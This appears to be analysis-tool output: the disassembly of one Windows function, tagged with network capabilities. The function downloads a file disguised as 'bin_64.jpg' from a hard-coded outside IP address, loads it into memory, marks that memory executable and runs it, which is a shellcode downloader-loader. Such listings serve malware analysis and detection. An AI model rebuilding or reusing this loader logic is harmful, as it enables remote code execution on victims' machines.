Function at 0x140001d70
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x70
mov qword [r11 - 0x38], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov rax, qword [0x140034080]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor ebx, ebx
mov qword [r11 - 0x20], rbx
mov qword [r11 - 0x18], 7
mov word [rsp + 0x48], bx
lea r8d, [rbx + 0x2b]
lea rdx, str.http:__203.91.79.170_chfs_shared_bin_64.jpg
lea rcx, [r11 - 0x30]
call fcn.1400025d0
nop
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x14002f7c8]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
jne 0x140001e00
lea rdx, str.Failed_to_initialize_WinINet.
call fcn.140002e40
mov rcx, rax
call fcn.1400030a0
lea ebx, [rbp + 1]
jmp 0x140001f9b
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rdx, qword [rsp + 0x48]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x84000100
xor r9d, r9d
xor r8d, r8d
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rdi, rax
test rax, rax
jne 0x140001e56
lea rdx, str.Failed_to_open_URL._Retrying_in_6_seconds...
call fcn.140002e40
mov rcx, rax
call fcn.1400030a0
mov ecx, 0x2328
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001e00
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], 4
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x34]
lea r8, [rsp + 0x30]
mov edx, 0x20000005
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x140001e99
lea rdx, str.Failed_to_get_file_size.
call fcn.140002e40
mov rcx, rax
call fcn.1400030a0
jmp 0x140001f10
mov edx, dword [rsp + 0x30]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x140001ecd
lea rdx, str.Failed_to_allocate_memory.
call fcn.140002e40
mov rcx, rax
call fcn.1400030a0
jmp 0x140001f10
mov dword [rsp + 0x38], ebx
lea r9, [rsp + 0x38]
mov r8d, dword [rsp + 0x30]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001f29
lea rdx, str.Failed_to_read_file.
call fcn.140002e40
mov rcx, rax
call fcn.1400030a0
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, 1
jmp 0x140001f9b
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x3c], ebx
mov edx, dword [rsp + 0x30]
lea r9, [rsp + 0x3c]
mov r8d, 0x20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001f87
lea rdx, str.Failed_to_set_memory_page_protection.
call fcn.140002e40
mov rcx, rax
call fcn.1400030a0
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, 1
jmp 0x140001f9b
call rsi
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x140001fd9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001fd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001ffe
call fcn.140005ec4
mov eax, ebx
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140005ea0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.140009f10
int3